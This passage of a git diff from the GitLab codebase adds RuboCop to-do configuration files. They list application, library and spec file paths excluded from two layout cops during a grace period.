+ - 'ee/spec/features/gitlab_subscriptions/seat_count_alert_spec.rb'
+ - 'ee/spec/features/groups/members/manage_groups_spec.rb'
+ - 'ee/spec/features/pending_group_memberships_spec.rb'
+ - 'ee/spec/features/projects/members/manage_groups_spec.rb'
+ - 'ee/spec/graphql/mutations/requirements_management/export_requirements_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/ci/parsers/security/validators/schema_validator_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/ci/pipeline/quota/size_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/pipeline/chain/limit/size_spec.rb'
+ - 'ee/spec/lib/gitlab/git_access_spec.rb'
+ - 'ee/spec/lib/gitlab/usage/metrics/instrumentations/count_ci_environments_approval_required_spec.rb'
+ - 'ee/spec/lib/gitlab/usage/metrics/instrumentations/count_deployment_approvals_metric_spec.rb'
+ - 'ee/spec/lib/gitlab/usage/metrics/instrumentations/protected_environment_approval_rules_required_approvals_average_metric_spec.rb'
+ - 'ee/spec/lib/gitlab/usage/metrics/instrumentations/protected_environments_required_approvals_average_metric_spec.rb'
+ - 'lib/gitlab/background_migration/populate_operation_visibility_permissions_from_operations.rb'
+ - 'lib/gitlab/ci/parsers/security/validators/schema_validator.rb'
+ - 'lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb'
+ - 'lib/gitlab/database/partitioning_migration_helpers/index_helpers.rb'
+ - 'lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb'
+ - 'lib/gitlab/github_import/importer/events/changed_reviewer.rb'
+ - 'lib/gitlab/import_export/project/import_task.rb'
+ - 'lib/gitlab/reference_counter.rb'
+ - 'lib/gitlab/tracking/standard_context.rb'
+ - 'qa/qa/specs/features/api/4_verify/api_variable_inheritance_with_forward_pipeline_variables_spec.rb'
+ - 'rubocop/cop/graphql/descriptions.rb'
+ - 'rubocop/cop/migration/add_columns_to_wide_tables.rb'
+ - 'rubocop/cop/migration/background_migrations.rb'
+ - 'rubocop/cop/migration/update_column_in_batches.rb'
+ - 'scripts/lib/glfm/parse_examples.rb'
+ - 'scripts/qa/testcases-check'
+ - 'spec/features/groups/show_spec.rb'
+ - 'spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb'
+ - 'spec/lib/gitlab/ci/ansi2html_spec.rb'
+ - 'spec/lib/gitlab/ci/parsers/sbom/validators/cyclonedx_schema_validator_spec.rb'
+ - 'spec/lib/gitlab/ci/parsers/security/validators/schema_validator_spec.rb'
+ - 'spec/lib/gitlab/prometheus/queries/validate_query_spec.rb'
+ - 'spec/lib/gitlab/reference_counter_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/count_bulk_imports_entities_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/count_imported_projects_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/count_imported_projects_total_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/gitlab_for_jira_app_direct_installations_count_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/gitlab_for_jira_app_proxy_installations_count_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/in_product_marketing_email_cta_clicked_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/in_product_marketing_email_sent_metric_spec.rb'
+ - 'spec/lib/system_check/incoming_email/imap_authentication_check_spec.rb'
+ - 'spec/models/integrations/chat_message/pipeline_message_spec.rb'
+ - 'spec/services/feature_flags/update_service_spec.rb'
+ - 'spec/services/issues/build_service_spec.rb'
+ - 'spec/support/matchers/have_gitlab_http_status.rb'
+ - 'spec/support/shared_examples/features/sidebar_shared_examples.rb'
+ - 'spec/support/shared_examples/lib/email/email_shared_examples.rb'
diff --git a/.rubocop_todo/layout/line_continuation_spacing.yml b/.rubocop_todo/layout/line_continuation_spacing.yml
new file mode 100644
index 00000000000..248922d7397
--- /dev/null
+++ b/.rubocop_todo/layout/line_continuation_spacing.yml
@@ -0,0 +1,224 @@
+---
+# Cop supports --autocorrect.
+Layout/LineContinuationSpacing:
+ Details: grace period
+ Exclude:
+ - 'app/controllers/concerns/controller_with_cross_project_access_check.rb'
+ - 'app/controllers/concerns/verifies_with_email.rb'
+ - 'app/controllers/projects/google_cloud/databases_controller.rb'
+ - 'app/graphql/gitlab_schema.rb'
+ - 'app/graphql/mutations/boards/issues/issue_move_list.rb'
+ - 'app/graphql/types/environment_type.rb'
+ - 'app/helpers/application_settings_helper.rb'
+ - 'app/helpers/projects_helper.rb'
+ - 'app/helpers/tags_helper.rb'
+ - 'app/helpers/tree_helper.rb'
+ - 'app/models/concerns/spammable.rb'
+ - 'app/models/environment.rb'
+ - 'app/models/integrations/base_third_party_wiki.rb'
+ - 'app/models/integrations/teamcity.rb'
+ - 'app/models/members/member_role.rb'
+ - 'app/models/work_items/parent_link.rb'
+ - 'app/services/feature_flags/update_service.rb'
+ - 'app/services/issues/build_service.rb'
+ - 'app/services/merge_requests/merge_service.rb'
+ - 'app/services/uploads/destroy_service.rb'
+ - 'app/services/users/email_verification/validate_token_service.rb'
+ - 'config/initializers_before_autoloader/003_gc_compact.rb'
+ - 'ee/app/components/namespaces/storage/pre_enforcement_alert_component.rb'
+ - 'ee/app/components/namespaces/storage/user_pre_enforcement_alert_component.rb'
+ - 'ee/app/controllers/ee/ldap/omniauth_callbacks_controller.rb'
+ - 'ee/app/controllers/users/identity_verification_controller.rb'
+ - 'ee/app/graphql/mutations/app_sec/fuzzing/api/ci_configuration/create.rb'
+ - 'ee/app/graphql/mutations/requirements_management/export_requirements.rb'
+ - 'ee/app/graphql/mutations/security_policy/assign_security_policy_project.rb'
+ - 'ee/app/graphql/resolvers/security_orchestration/scan_execution_policy_resolver.rb'
+ - 'ee/app/graphql/resolvers/vulnerabilities_resolver.rb'
+ - 'ee/app/graphql/resolvers/vulnerability_severities_count_resolver.rb'
+ - 'ee/app/graphql/types/geo/geo_node_type.rb'
+ - 'ee/app/graphql/types/requirements_management/requirement_type.rb'
+ - 'ee/app/helpers/push_rules_helper.rb'
+ - 'ee/app/models/ee/epic.rb'
+ - 'ee/app/models/ee/group_group_link.rb'
+ - 'ee/app/models/ee/project_group_link.rb'
+ - 'ee/app/models/ee/vulnerability.rb'
+ - 'ee/app/models/incident_management/oncall_shift.rb'
+ - 'ee/app/services/audit_events/protected_branch_audit_event_service.rb'
+ - 'ee/app/services/boards/epic_lists/destroy_service.rb'
+ - 'ee/app/services/epics/epic_links/create_service.rb'
+ - 'ee/app/services/group_saml/saml_group_links/create_service.rb'
+ - 'ee/app/services/phone_verification/telesign_client/base_service.rb'
+ - 'ee/app/services/phone_verification/telesign_client/risk_score_service.rb'
+ - 'ee/app/services/phone_verification/users/send_verification_code_service.rb'
+ - 'ee/app/services/phone_verification/users/verify_code_service.rb'
+ - 'ee/lib/api/experiments.rb'
+ - 'ee/lib/api/ldap_group_links.rb'
+ - 'ee/lib/api/vulnerability_findings.rb'
+ - 'ee/lib/ee/gitlab/auth/ldap/access.rb'
+ - 'ee/lib/ee/gitlab/ci/pipeline/quota/activity.rb'
+ - 'ee/lib/ee/gitlab/ci/pipeline/quota/size.rb'
+ - 'ee/lib/ee/gitlab/git_access.rb'
+ - 'ee/lib/tasks/gitlab/geo.rake'
+ - 'ee/spec/components/namespaces/free_user_cap/usage_quota_trial_alert_component_spec.rb'
+ - 'ee/spec/controllers/groups/group_members_controller_spec.rb'
+ - 'ee/spec/controllers/projects/security/configuration_controller_spec.rb'
+ - 'ee/spec/features/admin/admin_emails_spec.rb'
+ - 'ee/spec/features/admin/licenses/admin_adds_license_spec.rb'
+ - 'ee/spec/features/groups/group_overview_spec.rb'
+ - 'ee/spec/features/groups/members/manage_groups_spec.rb'
+ - 'ee/spec/features/groups_spec.rb'
+ - 'ee/spec/features/projects/members/manage_groups_spec.rb'
+ - 'ee/spec/features/protected_branches_spec.rb'
+ - 'ee/spec/features/protected_tags_spec.rb'
+ - 'ee/spec/features/registrations/email_confirmation_spec.rb'
+ - 'ee/spec/features/users/identity_verification_spec.rb'
+ - 'ee/spec/graphql/mutations/app_sec/fuzzing/api/ci_configuration/create_spec.rb'
+ - 'ee/spec/graphql/mutations/audit_events/streaming/event_type_filters/destroy_spec.rb'
+ - 'ee/spec/graphql/mutations/audit_events/streaming/headers/destroy_spec.rb'
+ - 'ee/spec/graphql/mutations/requirements_management/export_requirements_spec.rb'
+ - 'ee/spec/helpers/ee/labels_helper_spec.rb'
+ - 'ee/spec/helpers/push_rules_helper_spec.rb'
+ - 'ee/spec/lib/audit/group_merge_request_approval_setting_changes_auditor_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/ci/parsers/security/validators/schema_validator_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/ci/pipeline/quota/size_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/pipeline/chain/limit/size_spec.rb'
+ - 'ee/spec/lib/gitlab/git_access_spec.rb'
+ - 'ee/spec/mailers/ee/emails/identity_verification_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/epics/create_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/epics/update_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/issues/promote_to_epic_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/issues/set_epic_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/issues/set_weight_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/iterations/cadences/create_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/iterations/cadences/update_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/iterations/create_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/iterations/update_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/projects/initialize_product_analytics_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/projects/set_compliance_framework_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/quality_management/test_cases/create_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/requirements_management/create_requirement_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/security/finding/create_issue_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/users/abuse/namespace_bans/destroy_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/vulnerabilities/create_external_issue_link_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/vulnerabilities/destroy_external_issue_link_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/vulnerabilities/finding_dismiss_spec.rb'
+ - 'ee/spec/requests/users/identity_verification_controller_spec.rb'
+ - 'ee/spec/services/boards/epic_lists/destroy_service_spec.rb'
+ - 'ee/spec/services/epic_issues/create_service_spec.rb'
+ - 'ee/spec/services/epics/epic_links/create_service_spec.rb'
+ - 'ee/spec/services/phone_verification/telesign_client/risk_score_service_spec.rb'
+ - 'ee/spec/services/phone_verification/telesign_client/send_verification_code_service_spec.rb'
+ - 'ee/spec/services/phone_verification/users/send_verification_code_service_spec.rb'
+ - 'ee/spec/services/security/security_orchestration_policies/ci_configuration_service_spec.rb'
+ - 'ee/spec/services/security/security_orchestration_policies/legacy_ci_configuration_service_spec.rb'
+ - 'ee/spec/views/compliance_management/compliance_framework/_project_settings.html.haml_spec.rb'
+ - 'ee/spec/workers/ee/issuable_export_csv_worker_spec.rb'
+ - 'lib/api/dependency_proxy.rb'
+ - 'lib/api/error_tracking/client_keys.rb'
+ - 'lib/api/error_tracking/project_settings.rb'
+ - 'lib/api/go_proxy.rb'
+ - 'lib/api/groups.rb'
+ - 'lib/api/issue_links.rb'
+ - 'lib/api/metrics/dashboard/annotations.rb'
+ - 'lib/api/ml/mlflow.rb'
+ - 'lib/gitlab/auth/user_access_denied_reason.rb'
+ - 'lib/gitlab/background_migration/populate_operation_visibility_permissions_from_operations.rb'
+ - 'lib/gitlab/checks/tag_check.rb'
+ - 'lib/gitlab/ci/parsers/security/validators/schema_validator.rb'
+ - 'lib/gitlab/config_checker/puma_rugged_checker.rb'
+ - 'lib/gitlab/database/background_migration/batched_migration_runner.rb'
+ - 'lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb'
+ - 'lib/gitlab/database/migration_helpers.rb'
+ - 'lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb'
+ - 'lib/gitlab/database/rename_reserved_paths_migration/v1/rename_base.rb'
+ - 'lib/gitlab/database/rename_reserved_paths_migration/v1/rename_namespaces.rb'
+ - 'lib/gitlab/database/rename_reserved_paths_migration/v1/rename_projects.rb'
+ - 'lib/gitlab/database/shared_model.rb'
+ - 'lib/gitlab/i18n/po_linter.rb'
+ - 'qa/qa/specs/features/ee/api/9_data_stores/elasticsearch/nightly_elasticsearch_test_spec.rb'
+ - 'qa/qa/support/matchers/eventually_matcher.rb'
+ - 'qa/qa/support/page_error_checker.rb'
+ - 'qa/qa/tools/test_resources_handler.rb'
+ - 'qa/spec/resource/user_spec.rb'
+ - 'qa/spec/support/page_error_checker_spec.rb'
+ - 'rubocop/cop/graphql/authorize_types.rb'
+ - 'rubocop/cop/graphql/descriptions.rb'
+ - 'rubocop/cop/graphql/graphql_name_position.rb'
+ - 'rubocop/cop/migration/background_migrations.rb'
+ - 'rubocop/cop/performance/ar_exists_and_present_blank.rb'
+ - 'rubocop/cop/redis_queue_usage.rb'
+ - 'scripts/create-pipeline-failure-incident.rb'
+ - 'scripts/generate-failed-pipeline-slack-message.rb'
+ - 'scripts/qa/testcases-check'
+ - 'spec/controllers/concerns/controller_with_cross_project_access_check_spec.rb'
+ - 'spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb'
+ - 'spec/features/projects/files/user_browses_files_spec.rb'
+ - 'spec/features/projects/files/user_creates_directory_spec.rb'
+ - 'spec/features/projects/files/user_creates_files_spec.rb'
+ - 'spec/features/projects/files/user_deletes_files_spec.rb'
+ - 'spec/features/projects/files/user_edits_files_spec.rb'
+ - 'spec/features/projects/files/user_replaces_files_spec.rb'
+ - 'spec/features/projects/issues/viewing_issues_with_external_authorization_enabled_spec.rb'
+ - 'spec/features/u2f_spec.rb'
+ - 'spec/features/users/email_verification_on_login_spec.rb'
+ - 'spec/features/users/login_spec.rb'
+ - 'spec/finders/groups/projects_requiring_authorizations_refresh/on_direct_membership_finder_spec.rb'
+ - 'spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb'
+ - 'spec/lib/gitlab/ci/parsers/security/validators/schema_validator_spec.rb'
+ - 'spec/lib/gitlab/ci/trace/stream_spec.rb'
+ - 'spec/lib/gitlab/closing_issue_extractor_spec.rb'
+ - 'spec/lib/gitlab/config_checker/puma_rugged_checker_spec.rb'
+ - 'spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb'
+ - 'spec/lib/gitlab/git_access_spec.rb'
+ - 'spec/lib/gitlab/github_import/markdown_text_spec.rb'
+ - 'spec/lib/gitlab/github_import/representation/issue_event_spec.rb'
+ - 'spec/lib/gitlab/metrics/dashboard/stages/metric_endpoint_inserter_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/count_bulk_imports_entities_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/count_imported_projects_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/count_imported_projects_total_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/gitlab_for_jira_app_direct_installations_count_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/gitlab_for_jira_app_proxy_installations_count_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/in_product_marketing_email_cta_clicked_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/in_product_marketing_email_sent_metric_spec.rb'
+ - 'spec/lib/gitlab/utils/gzip_spec.rb'
+ - 'spec/lib/system_check/incoming_email/imap_authentication_check_spec.rb'
+ - 'spec/mailers/emails/identity_verification_spec.rb'
+ - 'spec/models/diff_note_spec.rb'
+ - 'spec/models/integrations/base_third_party_wiki_spec.rb'
+ - 'spec/models/integrations/chat_message/merge_message_spec.rb'
+ - 'spec/models/integrations/chat_message/push_message_spec.rb'
+ - 'spec/models/integrations/chat_message/wiki_page_message_spec.rb'
+ - 'spec/models/member_spec.rb'
+ - 'spec/models/members/member_role_spec.rb'
+ - 'spec/models/operations/feature_flags_client_spec.rb'
+ - 'spec/models/project_spec.rb'
+ - 'spec/requests/api/graphql/mutations/clusters/agent_tokens/agent_tokens/create_spec.rb'
+ - 'spec/requests/api/graphql/mutations/clusters/agents/delete_spec.rb'
+ - 'spec/requests/api/graphql/mutations/uploads/delete_spec.rb'
+ - 'spec/requests/api/group_labels_spec.rb'
+ - 'spec/requests/api/groups_spec.rb'
+ - 'spec/requests/api/labels_spec.rb'
+ - 'spec/requests/api/projects_spec.rb'
+ - 'spec/requests/api/users_spec.rb'
+ - 'spec/requests/verifies_with_email_spec.rb'
+ - 'spec/services/feature_flags/update_service_spec.rb'
+ - 'spec/services/issues/build_service_spec.rb'
+ - 'spec/services/merge_requests/merge_service_spec.rb'
+ - 'spec/services/snippets/create_service_spec.rb'
+ - 'spec/services/uploads/destroy_service_spec.rb'
+ - 'spec/services/users/email_verification/validate_token_service_spec.rb'
+ - 'spec/services/users/migrate_records_to_ghost_user_service_spec.rb'
+ - 'spec/support/helpers/redis_without_keys.rb'
+ - 'spec/support/shared_examples/features/project_upload_files_shared_examples.rb'
+ - 'spec/support/shared_examples/harbor/artifacts_controller_shared_examples.rb'
+ - 'spec/support/shared_examples/harbor/tags_controller_shared_examples.rb'
+ - 'spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/api/diff_discussions_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/api/discussions_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/api/graphql/mutations/subscription_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/api/notes_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/api/resolvable_discussions_shared_examples.rb'
+ - 'spec/uploaders/file_mover_spec.rb'
+ - 'spec/views/devise/shared/_signup_box.html.haml_spec.rb'
+ - 'spec/views/projects/issues/show.html.haml_spec.rb'
+ - 'spec/views/projects/pages/show.html.haml_spec.rb'
diff --git a/.rubocop_todo/layout/line_end_string_concatenation_indentation.yml b/.rubocop_todo/layout/line_end_string_concatenation_indentation.yml
new file mode 100644
index 00000000000..b774d92d4ee
--- /dev/null
+++ b/.rubocop_todo/layout/line_end_string_concatenation_indentation.yml
@@ -0,0 +1,358 @@
+---
+# Cop supports --autocorrect.
+Layout/LineEndStringConcatenationIndentation:
+ Details: grace period
+ Exclude:
+ - 'app/controllers/admin/application_settings_controller.rb'
+ - 'app/controllers/concerns/verifies_with_email.rb'
+ - 'app/finders/snippets_finder.rb'
+ - 'app/graphql/mutations/ci/project_ci_cd_settings_update.rb'
+ - 'app/graphql/mutations/ci/runner/bulk_delete.rb'
+ - 'app/graphql/mutations/environments/canary_ingress/update.rb'
+ - 'app/graphql/resolvers/ci/runner_projects_resolver.rb'
+ - 'app/graphql/resolvers/projects_resolver.rb'
+ - 'app/graphql/types/ci/ci_cd_setting_type.rb'
+ - 'app/graphql/types/ci/config/include_type.rb'
+ - 'app/graphql/types/ci/runner_membership_filter_enum.rb'
+ - 'app/graphql/types/ci/runner_status_enum.rb'
+ - 'app/graphql/types/issue_type.rb'
+ - 'app/graphql/types/user_interface.rb'
+ - 'app/helpers/application_settings_helper.rb'
+ - 'app/helpers/members_helper.rb'
+ - 'app/helpers/preferences_helper.rb'
+ - 'app/helpers/projects/project_members_helper.rb'
+ - 'app/helpers/projects_helper.rb'
+ - 'app/mailers/emails/projects.rb'
+ - 'app/models/application_setting.rb'
+ - 'app/models/concerns/bulk_insert_safe.rb'
+ - 'app/models/concerns/spammable.rb'
+ - 'app/models/environment.rb'
+ - 'app/models/integrations/pivotaltracker.rb'
+ - 'app/models/members/member_role.rb'
+ - 'app/models/merge_request_diff_commit.rb'
+ - 'app/models/postgresql/replication_slot.rb'
+ - 'app/presenters/packages/npm/package_presenter.rb'
+ - 'app/services/commits/change_service.rb'
+ - 'app/services/concerns/ci/job_token_scope/edit_scope_validations.rb'
+ - 'app/services/feature_flags/update_service.rb'
+ - 'app/services/projects/after_rename_service.rb'
+ - 'app/services/projects/container_repository/destroy_service.rb'
+ - 'app/services/repositories/changelog_service.rb'
+ - 'app/services/users/email_verification/validate_token_service.rb'
+ - 'app/workers/run_pipeline_schedule_worker.rb'
+ - 'config/initializers/validate_database_config.rb'
+ - 'config/initializers/wikicloth_disable_lua_patch.rb'
+ - 'config/initializers/wikicloth_redos_patch.rb'
+ - 'config/initializers/wikicloth_ruby_3_patch.rb'
+ - 'config/initializers_before_autoloader/003_gc_compact.rb'
+ - 'danger/ci_templates/Dangerfile'
+ - 'danger/database/Dangerfile'
+ - 'db/post_migrate/20210606143426_add_index_for_container_registry_access_level.rb'
+ - 'db/post_migrate/20220425121410_add_temporary_index_for_backfill_integrations_enable_ssl_verification.rb'
+ - 'db/post_migrate/20220525131624_drop_temporary_index_for_backfill_integrations_enable_ssl_verification.rb'
+ - 'db/post_migrate/20220920081631_prepare_ci_builds_metadata_for_partitioning_primary_key.rb'
+ - 'ee/app/components/namespaces/free_user_cap/usage_quota_alert_component.rb'
+ - 'ee/app/controllers/admin/licenses_controller.rb'
+ - 'ee/app/controllers/concerns/insights_actions.rb'
+ - 'ee/app/controllers/ee/ldap/omniauth_callbacks_controller.rb'
+ - 'ee/app/controllers/users/identity_verification_controller.rb'
+ - 'ee/app/finders/geo/framework_registry_finder.rb'
+ - 'ee/app/graphql/mutations/app_sec/fuzzing/api/ci_configuration/create.rb'
+ - 'ee/app/graphql/mutations/dast_scanner_profiles/create.rb'
+ - 'ee/app/graphql/mutations/issues/set_epic.rb'
+ - 'ee/app/graphql/mutations/issues/set_escalation_policy.rb'
+ - 'ee/app/graphql/mutations/issues/set_weight.rb'
+ - 'ee/app/graphql/mutations/requirements_management/export_requirements.rb'
+ - 'ee/app/graphql/mutations/security_policy/assign_security_policy_project.rb'
+ - 'ee/app/graphql/resolvers/analytics/contribution_analytics/contributions_resolver.rb'
+ - 'ee/app/graphql/resolvers/security_orchestration/scan_execution_policy_resolver.rb'
+ - 'ee/app/graphql/types/pipeline_security_report_finding_type.rb'
+ - 'ee/app/helpers/push_rules_helper.rb'
+ - 'ee/app/models/app_sec/fuzzing/api/ci_configuration.rb'
+ - 'ee/app/models/ci/minutes/notification.rb'
+ - 'ee/app/models/ee/group_group_link.rb'
+ - 'ee/app/models/ee/namespace/storage/notification.rb'
+ - 'ee/app/models/ee/vulnerability.rb'
+ - 'ee/app/services/boards/epic_lists/destroy_service.rb'
+ - 'ee/app/services/ee/admin/set_feature_flag_service.rb'
+ - 'ee/app/services/ee/auth/container_registry_authentication_service.rb'
+ - 'ee/app/services/ee/issues/move_service.rb'
+ - 'ee/app/services/ee/resource_access_tokens/revoke_service.rb'
+ - 'ee/app/services/merge_trains/create_pipeline_service.rb'
+ - 'ee/app/services/system_notes/epics_service.rb'
+ - 'ee/app/workers/concerns/elastic/migration_obsolete.rb'
+ - 'ee/elastic/migrate/20220613120500_migrate_commits_to_separate_index.rb'
+ - 'ee/lib/api/experiments.rb'
+ - 'ee/lib/api/ldap_group_links.rb'
+ - 'ee/lib/ee/gitlab/auth/ldap/access.rb'
+ - 'ee/lib/ee/gitlab/ci/pipeline/quota/size.rb'
+ - 'ee/lib/ee/gitlab/git_access.rb'
+ - 'ee/lib/ee/gitlab/namespace_storage_size_error_message.rb'
+ - 'ee/lib/gitlab/manual_quarterly_co_term_banner.rb'
+ - 'ee/lib/slack/block_kit/app_home_opened.rb'
+ - 'ee/lib/tasks/gitlab/geo.rake'
+ - 'ee/spec/components/namespaces/free_user_cap/enforcement_alert_component_spec.rb'
+ - 'ee/spec/components/namespaces/free_user_cap/enforcement_at_limit_alert_component_spec.rb'
+ - 'ee/spec/components/namespaces/free_user_cap/non_owner_alert_component_spec.rb'
+ - 'ee/spec/components/namespaces/free_user_cap/notification_alert_component_spec.rb'
+ - 'ee/spec/components/namespaces/free_user_cap/usage_quota_alert_component_spec.rb'
+ - 'ee/spec/components/namespaces/free_user_cap/usage_quota_trial_alert_component_spec.rb'
+ - 'ee/spec/controllers/admin/licenses_controller_spec.rb'
+ - 'ee/spec/controllers/groups/group_members_controller_spec.rb'
+ - 'ee/spec/controllers/projects/security/configuration_controller_spec.rb'
+ - 'ee/spec/features/admin/admin_emails_spec.rb'
+ - 'ee/spec/features/admin/licenses/admin_adds_license_spec.rb'
+ - 'ee/spec/features/epic_boards/epic_boards_sidebar_spec.rb'
+ - 'ee/spec/features/groups/group_overview_spec.rb'
+ - 'ee/spec/features/groups/members/manage_groups_spec.rb'
+ - 'ee/spec/features/groups_spec.rb'
+ - 'ee/spec/features/pending_group_memberships_spec.rb'
+ - 'ee/spec/features/projects/members/manage_groups_spec.rb'
+ - 'ee/spec/features/registrations/email_confirmation_spec.rb'
+ - 'ee/spec/features/users/identity_verification_spec.rb'
+ - 'ee/spec/graphql/mutations/audit_events/streaming/event_type_filters/destroy_spec.rb'
+ - 'ee/spec/graphql/mutations/audit_events/streaming/headers/destroy_spec.rb'
+ - 'ee/spec/graphql/mutations/boards/lists/update_limit_metrics_spec.rb'
+ - 'ee/spec/helpers/ee/labels_helper_spec.rb'
+ - 'ee/spec/helpers/push_rules_helper_spec.rb'
+ - 'ee/spec/lib/audit/group_merge_request_approval_setting_changes_auditor_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/ci/parsers/security/validators/schema_validator_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/ci/pipeline/quota/size_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/namespace_storage_size_error_message_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/pipeline/chain/limit/size_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/api_security_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/api_security_latest_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/container_scanning_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/container_scanning_latest_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/coverage_fuzzing_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/coverage_fuzzing_latest_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/dast_api_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/dast_api_latest_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/dast_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/dast_latest_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/dependency_scanning_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/dependency_scanning_latest_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/license_scanning_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/license_scanning_latest_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/sast_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/sast_iac_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/sast_latest_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/secret_detection_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/secret_detection_latest_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/manual_quarterly_co_term_banner_spec.rb'
+ - 'ee/spec/lib/gitlab/usage/metrics/instrumentations/count_deployment_approvals_metric_spec.rb'
+ - 'ee/spec/lib/gitlab/usage/metrics/instrumentations/protected_environment_approval_rules_required_approvals_average_metric_spec.rb'
+ - 'ee/spec/lib/gitlab/usage/metrics/instrumentations/protected_environments_required_approvals_average_metric_spec.rb'
+ - 'ee/spec/mailers/ee/emails/identity_verification_spec.rb'
+ - 'ee/spec/requests/api/analytics/product_analytics_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/boards/lists/update_limit_metrics_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/boards/update_epic_user_preferences_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/iterations/cadences/create_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/iterations/cadences/update_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/iterations/create_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/security/finding/create_issue_spec.rb'
+ - 'ee/spec/requests/users/identity_verification_controller_spec.rb'
+ - 'ee/spec/services/boards/epic_lists/destroy_service_spec.rb'
+ - 'ee/spec/services/ee/auth/container_registry_authentication_service_spec.rb'
+ - 'ee/spec/services/ee/resource_events/merge_into_notes_service_spec.rb'
+ - 'ee/spec/services/epics/epic_links/create_service_spec.rb'
+ - 'ee/spec/services/geo/container_repository_sync_spec.rb'
+ - 'ee/spec/services/merge_trains/create_pipeline_service_spec.rb'
+ - 'ee/spec/services/users/abuse/git_abuse/application_throttle_service_spec.rb'
+ - 'ee/spec/support/shared_examples/finders/geo/framework_registry_finder_shared_examples.rb'
+ - 'ee/spec/support/shared_examples/graphql/geo/geo_registries_resolver_shared_examples.rb'
+ - 'ee/spec/support/shared_examples/models/license_shared_examples.rb'
